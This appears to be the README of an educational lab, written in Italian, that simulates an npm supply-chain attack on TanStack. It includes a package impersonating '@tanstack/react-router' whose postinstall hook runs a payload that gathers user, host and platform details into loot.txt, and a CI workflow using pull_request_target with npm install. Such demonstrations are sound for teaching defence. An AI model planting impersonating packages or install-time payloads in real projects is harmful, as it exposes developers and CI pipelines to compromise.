renewablehacking/cve-2026-45321-tanstack
Laboratorio didattico che simula attacchi alla supply chain npm, abuso di CI/CD ed esecuzione di codice al momento dell'installazione tramite CVE-2026-45321. Ricerca difensiva pratica sulla sicurezza per comprendere il compromesso delle dipendenze e lo sfruttamento degli hook del ciclo di vita.
Laboratorio didattico per comprendere gli attacchi alla supply chain npm, l'abuso di CI/CD e l'esecuzione di codice al momento dell'installazione
Questo progetto è stato creato solo per:
Non utilizzare questo progetto per:
Questo laboratorio simula i concetti di base dell'incidente:
La simulazione viene eseguita localmente e in sicurezza senza:
lab/
├── fake-repo/ # Simulasi repository target
├── attacker-package/ # Simulasi package malicious
└── victim-project/ # Simulasi korban
Attacker Package
↓
npm install
↓
postinstall script berjalan
↓
payload.js dieksekusi otomatis
↓
Korban terkena install-time execution
git clone https://github.com/renewablehacking/CVE-2026-45321-Tanstack.git
cd CVE-2026-45321-Tanstack
cd attacker-package
npm install
npm pack
Risultato:
tanstack-react-router-1.169.5.tgz
cd ../victim-project
npm install ../attacker-package/tanstack-react-router-1.169.5.tgz --foreground-scripts
Se l'operazione riesce, apparirà:
=== MALICIOUS PAYLOAD EXECUTED ===
e il file:
loot.txt
verrà creato automaticamente.
const os = require('os');
const fs = require('fs');
console.log("=== MALICIOUS PAYLOAD EXECUTED ===");
const info = `
USER=${process.env.USER}
HOST=${os.hostname()}
PLATFORM=${os.platform()}
`;
console.log(info);
fs.writeFileSync("loot.txt", info);
{
"name": "@tanstack/react-router",
"version": "1.169.5",
"scripts": {
"postinstall": "node payload.js"
}
}
Questo progetto può essere utilizzato anche per comprendere:
Esempio di workflow:
name: CI
on:
pull_request_target:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm install
| Simulazione di laboratorio | Mondo reale |
|---|---|
| attacker-package | pacchetto TanStack compromesso |
| payload.js | installer dannoso |
| postinstall | abuso delle hook del ciclo di vita |
| victim-project | sviluppatore/CI vittima |
| fake-repo | pipeline GitHub Actions |
Questo laboratorio è stato creato per aumentare la consapevolezza su: